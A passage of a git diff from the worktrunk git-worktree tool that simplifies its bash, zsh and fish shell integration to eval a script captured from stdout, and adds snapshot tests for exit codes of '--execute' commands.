succeeds but the execute script would fail, wt still exits 0.+/// The shell wrapper handles the execute command's exit code.+#[test]+fn test_switch_internal_execute_with_output_before_exit() {+ let repo = setup_switch_repo();++ // Execute command outputs then exits with code+ let cmd = "echo 'doing work'\nexit 7";++ snapshot_switch_with_global_flags(+ "switch_internal_execute_output_then_exit",+ &repo,+ &["--create", "output-exit-test", "--execute", cmd],+ &["--internal"],+ );+}diff --git a/tests/snapshots/integration__integration_tests__directives__merge_internal_remove.snap b/tests/snapshots/integration__integration_tests__directives__merge_internal_remove.snapindex bf3223760..5635d7cf8 100644Binary files a/tests/snapshots/integration__integration_tests__directives__merge_internal_remove.snap and b/tests/snapshots/integration__integration_tests__directives__merge_internal_remove.snap differdiff --git a/tests/snapshots/integration__integration_tests__init__init_bash.snap b/tests/snapshots/integration__integration_tests__init__init_bash.snapindex 06f7e1bdd..624c80a1a 100644--- a/tests/snapshots/integration__integration_tests__init__init_bash.snap+++ b/tests/snapshots/integration__integration_tests__init__init_bash.snap@@ -32,138 +32,33 @@ if command -v wt >/dev/null 2>&1 || [[ -n "${WORKTRUNK_BIN:-}" ]]; then# This allows testing development builds: export WORKTRUNK_BIN=./target/debug/wt_WORKTRUNK_CMD="${WORKTRUNK_BIN:-$(command -v wt)}"-# Shared directive parser for POSIX shells (bash, zsh, oil).-# Streams worktrunk's NUL-delimited output in real-time via FIFO while keeping-# stderr attached to the TTY for child processes (colors, progress bars).+# Simple shell integration for POSIX shells (bash, zsh).#-# Note: Named without leading underscore to avoid being filtered by shell-# snapshot systems (e.g., Claude Code) that exclude private functions.-# Note: Uses ${_WORKTRUNK_CMD:-wt} fallback because shell snapshot-# systems may capture functions but not environment variables.+# Captures the shell script from wt's stdout and evals it in the parent shell.+# stderr streams directly to the terminal for real-time user feedback.+#+# This pattern (stderr for logs, stdout for script) is proven by direnv.+# No FIFOs, no background processes, no job control suppression needed.+#+# Set WORKTRUNK_BIN to test development builds: WORKTRUNK_BIN=./target/debug/wtwt_exec() {- # ┌─────────────────────────────────────────────────────────────────────────┐- # │ BASH JOB CONTROL: Why we need TWO suppression mechanisms │- # │ │- # │ Bash has two separate job notification mechanisms that are controlled │- # │ by DIFFERENT flags: │- # │ │- # │ 1. START notification "[1] 12345" (when `&` runs): │- # │ - Controlled by `interactive` flag, NOT `monitor` (-m) │- # │ - Printed by describe_pid() via DESCRIBE_PID macro in jobs.c │- # │ - Cannot be disabled by any shell option in an interactive shell │- # │ - Must be suppressed via stderr redirection: { cmd & } 2>/dev/null │- # │ │- # │ 2. DONE notification "[1]+ Done ..." (at next prompt): │- # │ - Controlled by `monitor` (-m) option │- # │ - Only printed for jobs started while monitor mode was ON │- # │ - Suppressed by `set +m` BEFORE backgrounding the job │- # │ │- # │ References: │- # │ - https://www.gnu.org/s/bash/manual/html_node/Job-Control-Basics.html │- # │ - https://superuser.com/questions/489722 (job notifications vs monitor) │- # │ - https://stackoverflow.com/questions/20707316 (suppress background) │- # └─────────────────────────────────────────────────────────────────────────┘-- # Suppress DONE notifications by disabling monitor mode.- # zsh: LOCAL_OPTIONS makes the change function-scoped (automatic restore)- # bash: must manually save/restore since set +m affects the global shell- # Note: We only touch -m, not -b (notify), to preserve user's notify preference.- local _wt_saved_monitor=""- if [[ -n "${ZSH_VERSION:-}" ]]; then- setopt LOCAL_OPTIONS NO_MONITOR- elif [[ -n "${BASH_VERSION:-}" && $- == *m* ]]; then- _wt_saved_monitor=1- set +m- fi-- local exec_cmd="" chunk="" exit_code=0 tmp_dir="" fifo_path="" runner_pid=""-- # Cleanup handler for signals and normal exit- _wt_cleanup() {- # Kill background process if still running- if [[ -n "$runner_pid" ]] && kill -0 "$runner_pid" 2>/dev/null; then- kill "$runner_pid" 2>/dev/null || true+ local script exit_code=0++ # Run wt with stderr attached to terminal (2>&2)+ # Capture stdout (the shell script) into $script+ script="$(command "${WORKTRUNK_BIN:-wt}" "$@" 2>&2)" || exit_code=$?++ # Eval the script (cd, exec command, etc.) even on failure+ # This ensures cd happens before returning the error code+ if [[ -n "$script" ]]; then+ eval "$script"+ # If script contains a command (--execute), use its exit code+ if [[ $exit_code -eq 0 ]]; then+ exit_code=$?fi- # Remove temp files- /bin/rm -f "$fifo_path" 2>/dev/null || true- /bin/rmdir "$tmp_dir" 2>/dev/null || true- # Restore bash job control if we disabled it- [[ -n "$_wt_saved_monitor" ]] && set -m- }-- # On SIGINT: cleanup and exit immediately with 130- trap '_wt_cleanup; return 130' INT-- # Create temp directory with FIFO for streaming output- tmp_dir=$(mktemp -d "${TMPDIR:-/tmp}/wt.XXXXXX") || {- echo "Failed to create temp directory for worktrunk shim" >&2- [[ -n "$_wt_saved_monitor" ]] && set -m- return 1- }- fifo_path="$tmp_dir/stdout.fifo"-- if ! mkfifo "$fifo_path"; then- echo "Failed to create FIFO for worktrunk shim" >&2- /bin/rm -rf "$tmp_dir"- [[ -n "$_wt_saved_monitor" ]] && set -m- return 1- fi-- # Run worktrunk in background, piping stdout to FIFO.- # Backgrounding is required: the FIFO blocks until both ends connect, so we- # must background the writer (wt) while the foreground reads from it.- #- # For bash: Suppress the START notification "[1] 12345" via fd redirection.- # The job-start message is printed by bash's describe_pid() to stderr when- # `&` executes. By wrapping in { } with 2>/dev/null, we catch that message- # while preserving the command's own stderr via fd 9.- #- # This pattern is stable across bash 3.x-5.x: describe_pid() has printed to- # stderr since early bash versions, and redirections on grouped commands- # affecting the shell's own writes is standard POSIX behavior.- if [[ -n "${BASH_VERSION:-}" ]]; then- exec 9>&2 # Save real stderr to fd 9 for the command's errors- { command "${_WORKTRUNK_CMD:-wt}" "$@" >"$fifo_path" 2>&9 & } 2>/dev/null- runner_pid=$!- exec 9>&- # Close fd 9- else- command "${_WORKTRUNK_CMD:-wt}" "$@" >"$fifo_path" &- runner_pid=$!- fi-- # Parse directives as they stream in- while IFS= read -r -d '' chunk || [[ -n "$chunk" ]]; do- if [[ "$chunk" == __WORKTRUNK_CD__* ]]; then- # Directory change directive- local path="${chunk#__WORKTRUNK_CD__}"- \cd "$path"- elif [[ "$chunk" == __WORKTRUNK_EXEC__* ]]; then- # Command execution directive (deferred until after worktrunk exits)- exec_cmd="${chunk#__WORKTRUNK_EXEC__}"- else- # Regular output - print to stdout- [[ -n "$chunk" ]] && printf '%s\n' "$chunk"- fi- done <"$fifo_path"-- # Wait for worktrunk to complete and capture its exit code.- # Note: `wait $pid` works correctly even with monitor mode disabled (set +m).- # Unlike `disown` which removes jobs from bash's tracking entirely, `set +m`- # only disables job control features (fg/bg, DONE notifications) while still- # allowing exit status retrieval via wait.- wait "$runner_pid" >/dev/null 2>&1 || exit_code=$?-- # Cleanup- trap - INT- _wt_cleanup-- # Execute deferred command if specified (its exit code takes precedence)- if [[ -n "$exec_cmd" ]]; then- eval "$exec_cmd"- exit_code=$?fi- return "${exit_code:-0}"+ return "$exit_code"}# Override wt command to add --internal flagdiff --git a/tests/snapshots/integration__integration_tests__init__init_fish.snap b/tests/snapshots/integration__integration_tests__init__init_fish.snapindex 52f086f4d..2fad35714 100644--- a/tests/snapshots/integration__integration_tests__init__init_fish.snap+++ b/tests/snapshots/integration__integration_tests__init__init_fish.snap@@ -27,87 +27,28 @@ exit_code: 0# Only initialize if wt is available (in PATH or via WORKTRUNK_BIN)if type -q wt; or set -q WORKTRUNK_BIN- # Use WORKTRUNK_BIN if set, otherwise default to 'wt'- # This allows testing development builds: set -x WORKTRUNK_BIN ./target/debug/wt- if set -q WORKTRUNK_BIN- set -g _WORKTRUNK_CMD $WORKTRUNK_BIN- else- set -g _WORKTRUNK_CMD wt- end-- # Helper function to parse wt output and handle directives- # Directives are NUL-terminated to support multi-line commands+ # Helper function to run wt and eval the output script+ # stderr streams to terminal for real-time feedback, stdout is captured as shell script#- # IMPORTANT: No "begin...end" block on the left side of the pipe!- # Fish runs only one piece of fish script at a time; a block on the LHS- # would serialize the pipeline (RHS wouldn't run until LHS finishes).- # By keeping the LHS as a plain external command, the RHS can consume- # the stream concurrently, preserving temporal ordering.+ # Set WORKTRUNK_BIN to test development builds: set -x WORKTRUNK_BIN ./target/debug/wtfunction wt_exec- set -l exec_cmd ""-- # Debug mode: set WORKTRUNK_DEBUG=1 to see what's happening- set -l debug_mode 0- if set -q WORKTRUNK_DEBUG- set debug_mode 1- echo "[DEBUG] Starting wt_exec with args: $argv" >&2- end-- # CRITICAL: Do NOT add "2>&1" here!- # We want child stderr to remain a TTY (via Stdio::inherit() in Rust)- # so that child processes stream output in real-time with colors/progress bars.- # Only worktrunk's stdout (directives + messages) flows through this pipe.- set -l chunk_count 0- command $_WORKTRUNK_CMD $argv | while read -z chunk- set chunk_count (math $chunk_count + 1)- if test $debug_mode -eq 1- echo "[DEBUG] Chunk $chunk_count length: "(string length -- $chunk) >&2- echo "[DEBUG] Chunk $chunk_count first 50 chars: "(string sub -l 50 -- $chunk) >&2- end-- if string match -q '__WORKTRUNK_CD__*' -- $chunk- # CD directive - extract path and change directory- set -l path (string replace '__WORKTRUNK_CD__' '' -- $chunk)- if test $debug_mode -eq 1- echo "[DEBUG] CD directive: $path" >&2- end- if not cd $path- echo "Error: Failed to change directory to $path" >&2- end- else if string match -q '__WORKTRUNK_EXEC__*' -- $chunk- # EXEC directive - extract command (may contain newlines)- set exec_cmd (string replace '__WORKTRUNK_EXEC__' '' -- $chunk)- if test $debug_mode -eq 1- echo "[DEBUG] EXEC directive: $exec_cmd" >&2- end- else if test -n "$chunk"- # Regular output - print it with newline- if test $debug_mode -eq 1- echo "[DEBUG] Message chunk" >&2- end- printf '%s\n' $chunk+ set -l cmd (if set -q WORKTRUNK_BIN; echo $WORKTRUNK_BIN; else; echo wt; end)++ # Capture stdout (shell script), let stderr flow to terminal+ # Use string collect to join lines into a single string (fish splits on newlines by default)+ set -l script (command $cmd $argv 2>&2 | string collect)+ set -l exit_code $pipestatus[1]++ # Eval the script (cd, exec command, etc.) even on failure+ # This ensures cd happens before returning the error code+ if test -n "$script"+ eval $script+ # If script contains a command (--execute), use its exit code+ if test $exit_code -eq 0+ set exit_code $statusendend- # CRITICAL: Capture $pipestatus IMMEDIATELY after the pipe, before ANY other commands!- # Every command (including 'if', 'test', 'echo') clobbers $pipestatus- set -l codes $pipestatus- set -l exit_code $codes[1]-- if test $debug_mode -eq 1- echo "[DEBUG] Finished reading, total chunks: $chunk_count" >&2- echo "[DEBUG] Pipeline status codes: $codes" >&2- echo "[DEBUG] Exit code: $exit_code" >&2- end-- # Execute command if one was specified- # Exit code semantics: If wt fails, returns wt's exit code (command never executes).- # If wt succeeds but command fails, returns the command's exit code.- if test -n "$exec_cmd"- eval $exec_cmd- set exit_code $status- end-return $exit_codeend@@ -115,7 +56,6 @@ if type -q wt; or set -q WORKTRUNK_BINfunction wtset -l use_source falseset -l args- set -l saved_cmd $_WORKTRUNK_CMD# Check for --source flag and strip itfor arg in $argv@@ -129,10 +69,9 @@ if type -q wt; or set -q WORKTRUNK_BIN# If --source was specified, build and use local debug binaryif test $use_source = trueif not cargo build --quiet- set _WORKTRUNK_CMD $saved_cmdreturn 1end- set _WORKTRUNK_CMD ./target/debug/wt+ set -lx WORKTRUNK_BIN ./target/debug/wtend# Force colors if stderr is a TTY (directive mode outputs to stderr)@@ -145,11 +84,6 @@ if type -q wt; or set -q WORKTRUNK_BIN# Always use --internal mode for directive supportwt_exec --internal $args-- # Restore original command- set -l result $status- set _WORKTRUNK_CMD $saved_cmd- return $resultend# Completions are loaded from ~/.config/fish/completions/wt.fishdiff --git a/tests/snapshots/integration__integration_tests__init__init_zsh.snap b/tests/snapshots/integration__integration_tests__init__init_zsh.snapindex 07236e0b3..acaf50281 100644--- a/tests/snapshots/integration__integration_tests__init__init_zsh.snap+++ b/tests/snapshots/integration__integration_tests__init__init_zsh.snap@@ -35,138 +35,33 @@ if command -v wt >/dev/null 2>&1 || [[ -n "${WORKTRUNK_BIN:-}" ]]; then# This allows testing development builds: export WORKTRUNK_BIN=./target/debug/wt_WORKTRUNK_CMD="${WORKTRUNK_BIN:-$(command -v wt)}"-# Shared directive parser for POSIX shells (bash, zsh, oil).-# Streams worktrunk's NUL-delimited output in real-time via FIFO while keeping-# stderr attached to the TTY for child processes (colors, progress bars).+# Simple shell integration for POSIX shells (bash, zsh).#-# Note: Named without leading underscore to avoid being filtered by shell-# snapshot systems (e.g., Claude Code) that exclude private functions.-# Note: Uses ${_WORKTRUNK_CMD:-wt} fallback because shell snapshot-# systems may capture functions but not environment variables.+# Captures the shell script from wt's stdout and evals it in the parent shell.+# stderr streams directly to the terminal for real-time user feedback.+#+# This pattern (stderr for logs, stdout for script) is proven by direnv.+# No FIFOs, no background processes, no job control suppression needed.+#+# Set WORKTRUNK_BIN to test development builds: WORKTRUNK_BIN=./target/debug/wtwt_exec() {- # ┌─────────────────────────────────────────────────────────────────────────┐- # │ BASH JOB CONTROL: Why we need TWO suppression mechanisms │- # │ │- # │ Bash has two separate job notification mechanisms that are controlled │- # │ by DIFFERENT flags: │- # │ │- # │ 1. START notification "[1] 12345" (when `&` runs): │- # │ - Controlled by `interactive` flag, NOT `monitor` (-m) │- # │ - Printed by describe_pid() via DESCRIBE_PID macro in jobs.c │- # │ - Cannot be disabled by any shell option in an interactive shell │- # │ - Must be suppressed via stderr redirection: { cmd & } 2>/dev/null │- # │ │- # │ 2. DONE notification "[1]+ Done ..." (at next prompt): │- # │ - Controlled by `monitor` (-m) option │- # │ - Only printed for jobs started while monitor mode was ON │- # │ - Suppressed by `set +m` BEFORE backgrounding the job │- # │ │- # │ References: │- # │ - https://www.gnu.org/s/bash/manual/html_node/Job-Control-Basics.html │- # │ - https://superuser.com/questions/489722 (job notifications vs monitor) │- # │ - https://stackoverflow.com/questions/20707316 (suppress background) │- # └─────────────────────────────────────────────────────────────────────────┘-- # Suppress DONE notifications by disabling monitor mode.- # zsh: LOCAL_OPTIONS makes the change function-scoped (automatic restore)- # bash: must manually save/restore since set +m affects the global shell- # Note: We only touch -m, not -b (notify), to preserve user's notify preference.- local _wt_saved_monitor=""- if [[ -n "${ZSH_VERSION:-}" ]]; then- setopt LOCAL_OPTIONS NO_MONITOR- elif [[ -n "${BASH_VERSION:-}" && $- == *m* ]]; then- _wt_saved_monitor=1- set +m- fi-- local exec_cmd="" chunk="" exit_code=0 tmp_dir="" fifo_path="" runner_pid=""-- # Cleanup handler for signals and normal exit- _wt_cleanup() {- # Kill background process if still running- if [[ -n "$runner_pid" ]] && kill -0 "$runner_pid" 2>/dev/null; then- kill "$runner_pid" 2>/dev/null || true+ local script exit_code=0++ # Run wt with stderr attached to terminal (2>&2)+ # Capture stdout (the shell script) into $script+ script="$(command "${WORKTRUNK_BIN:-wt}" "$@" 2>&2)" || exit_code=$?++ # Eval the script (cd, exec command, etc.) even on failure+ # This ensures cd happens before returning the error code+ if [[ -n "$script" ]]; then+ eval "$script"+ # If script contains a command (--execute), use its exit code+ if [[ $exit_code -eq 0 ]]; then+ exit_code=$?fi- # Remove temp files- /bin/rm -f "$fifo_path" 2>/dev/null || true- /bin/rmdir "$tmp_dir" 2>/dev/null || true- # Restore bash job control if we disabled it- [[ -n "$_wt_saved_monitor" ]] && set -m- }-- # On SIGINT: cleanup and exit immediately with 130- trap '_wt_cleanup; return 130' INT-- # Create temp directory with FIFO for streaming output- tmp_dir=$(mktemp -d "${TMPDIR:-/tmp}/wt.XXXXXX") || {- echo "Failed to create temp directory for worktrunk shim" >&2- [[ -n "$_wt_saved_monitor" ]] && set -m- return 1- }- fifo_path="$tmp_dir/stdout.fifo"-- if ! mkfifo "$fifo_path"; then- echo "Failed to create FIFO for worktrunk shim" >&2- /bin/rm -rf "$tmp_dir"- [[ -n "$_wt_saved_monitor" ]] && set -m- return 1- fi-- # Run worktrunk in background, piping stdout to FIFO.- # Backgrounding is required: the FIFO blocks until both ends connect, so we- # must background the writer (wt) while the foreground reads from it.- #- # For bash: Suppress the START notification "[1] 12345" via fd redirection.- # The job-start message is printed by bash's describe_pid() to stderr when- # `&` executes. By wrapping in { } with 2>/dev/null, we catch that message- # while preserving the command's own stderr via fd 9.- #- # This pattern is stable across bash 3.x-5.x: describe_pid() has printed to- # stderr since early bash versions, and redirections on grouped commands- # affecting the shell's own writes is standard POSIX behavior.- if [[ -n "${BASH_VERSION:-}" ]]; then- exec 9>&2 # Save real stderr to fd 9 for the command's errors- { command "${_WORKTRUNK_CMD:-wt}" "$@" >"$fifo_path" 2>&9 & } 2>/dev/null- runner_pid=$!- exec 9>&- # Close fd 9- else- command "${_WORKTRUNK_CMD:-wt}" "$@" >"$fifo_path" &- runner_pid=$!- fi-- # Parse directives as they stream in- while IFS= read -r -d '' chunk || [[ -n "$chunk" ]]; do- if [[ "$chunk" == __WORKTRUNK_CD__* ]]; then- # Directory change directive- local path="${chunk#__WORKTRUNK_CD__}"- \cd "$path"- elif [[ "$chunk" == __WORKTRUNK_EXEC__* ]]; then- # Command execution directive (deferred until after worktrunk exits)- exec_cmd="${chunk#__WORKTRUNK_EXEC__}"- else- # Regular output - print to stdout- [[ -n "$chunk" ]] && printf '%s\n' "$chunk"- fi- done <"$fifo_path"-- # Wait for worktrunk to complete and capture its exit code.- # Note: `wait $pid` works correctly even with monitor mode disabled (set +m).- # Unlike `disown` which removes jobs from bash's tracking entirely, `set +m`- # only disables job control features (fg/bg, DONE notifications) while still- # allowing exit status retrieval via wait.- wait "$runner_pid" >/dev/null 2>&1 || exit_code=$?-- # Cleanup- trap - INT- _wt_cleanup-- # Execute deferred command if specified (its exit code takes precedence)- if [[ -n "$exec_cmd" ]]; then- eval "$exec_cmd"- exit_code=$?fi- return "${exit_code:-0}"+ return "$exit_code"}# Override wt command to add --internal flagdiff --git a/tests/snapshots/integration__integration_tests__remove__remove_internal_mode.snap b/tests/snapshots/integration__integration_tests__remove__remove_internal_mode.snapindex d727ae606..661d30994 100644Binary files a/tests/snapshots/integration__integration_tests__remove__remove_internal_mode.snap and b/tests/snapshots/integration__integration_tests__remove__remove_internal_mode.snap differdiff --git a/tests/snapshots/integration__integration_tests__switch__switch_existing_internal.snap b/tests/snapshots/integration__integration_tests__switch__switch_existing_internal.snapindex 1e92fbef1..3bc4b3085 100644Binary files a/tests/snapshots/integration__integration_tests__switch__switch_existing_internal.snap and b/tests/snapshots/integration__integration_tests__switch__switch_existing_internal.snap differdiff --git a/tests/snapshots/integration__integration_tests__switch__switch_internal_execute_exit_code.snap b/tests/snapshots/integration__integration_tests__switch__switch_internal_execute_exit_code.snapnew file mode 100644index 000000000..98c514126--- /dev/null+++ b/tests/snapshots/integration__integration_tests__switch__switch_internal_execute_exit_code.snap@@ -0,0 +1,35 @@+---+source: tests/integration_tests/switch.rs+info:+ program: wt+ args:+ - "--internal"+ - switch+ - "--create"+ - exit-code-test+ - "--execute"+ - exit 42+ env:+ CLICOLOR_FORCE: "1"+ COLUMNS: "150"+ GIT_AUTHOR_DATE: "2025-01-01T00:00:00Z"+ GIT_COMMITTER_DATE: "2025-01-01T00:00:00Z"+ GIT_CONFIG_GLOBAL: "[TEST_GIT_CONFIG]"+ GIT_CONFIG_SYSTEM: /dev/null+ GIT_EDITOR: ""+ HOME: "[TEST_HOME]"+ LANG: C+ LC_ALL: C+ SOURCE_DATE_EPOCH: "1761609600"+ WORKTRUNK_CONFIG_PATH: "[TEST_CONFIG]"+---+success: true+exit_code: 0+----- stdout -----+cd '[REPO].exit-code-test'+exit 42++----- stderr -----+✅ [32mCreated new worktree for [1m[32mexit-code-test[0m[32m from [1m[32mmain[0m[32m at [1m[32m[REPO].exit-code-test[0m[0m+🔄 [36mExecuting (--execute):[0m+[107m [0m [1m[2m[34mexit[0m 42[0mdiff --git a/tests/snapshots/integration__integration_tests__switch__switch_internal_execute_output_then_exit.snap b/tests/snapshots/integration__integration_tests__switch__switch_internal_execute_output_then_exit.snapnew file mode 100644index 000000000..17a457e70--- /dev/null+++ b/tests/snapshots/integration__integration_tests__switch__switch_internal_execute_output_then_exit.snap@@ -0,0 +1,37 @@+---+source: tests/integration_tests/switch.rs+info:+ program: wt+ args:+ - "--internal"+ - switch+ - "--create"+ - output-exit-test+ - "--execute"+ - "echo 'doing work'\nexit 7"+ env:+ CLICOLOR_FORCE: "1"+ COLUMNS: "150"+ GIT_AUTHOR_DATE: "2025-01-01T00:00:00Z"+ GIT_COMMITTER_DATE: "2025-01-01T00:00:00Z"+ GIT_CONFIG_GLOBAL: "[TEST_GIT_CONFIG]"+ GIT_CONFIG_SYSTEM: /dev/null+ GIT_EDITOR: ""+ HOME: "[TEST_HOME]"+ LANG: C+ LC_ALL: C+ SOURCE_DATE_EPOCH: "1761609600"+ WORKTRUNK_CONFIG_PATH: "[TEST_CONFIG]"+---+success: true+exit_code: 0+----- stdout -----+cd '[REPO].output-exit-test'+echo 'doing work'+exit 7++----- stderr -----+✅ [32mCreated new worktree for [1m[32moutput-exit-test[0m[32m from [1m[32mmain[0m[32m at [1m[32m[REPO].output-exit-test[0m[0m+🔄 [36mExecuting (--execute):[0m+[107m [0m [1m[2m[34mecho[0m [2m[32m'doing work'[0m[0m+[107m [0m [1m[2m[34mexit[0m 7[0mdiff --git a/tests/snapshots/integration__integration_tests__switch__switch_internal_mode.snap b/tests/snapshots/integration__integration_tests__switch__switch_internal_mode.snapindex a002f6acf..081d03ac1 100644Binary files a/tests/snapshots/integration__integration_tests__switch__switch_internal_mode.snap and b/tests/snapshots/integration__integration_tests__switch__switch_internal_mode.snap differdiff --git a/tests/snapshots/integration__integration_tests__switch__switch_internal_with_execute.snap b/tests/snapshots/integration__integration_tests__switch__switch_internal_with_execute.snapindex bf76f66d7..3a70f334a 100644Binary files a/tests/snapshots/integration__integration_tests__switch__switch_internal_with_execute.snap and b/tests/snapshots/integration__integration_tests__switch__switch_internal_with_execute.snap differ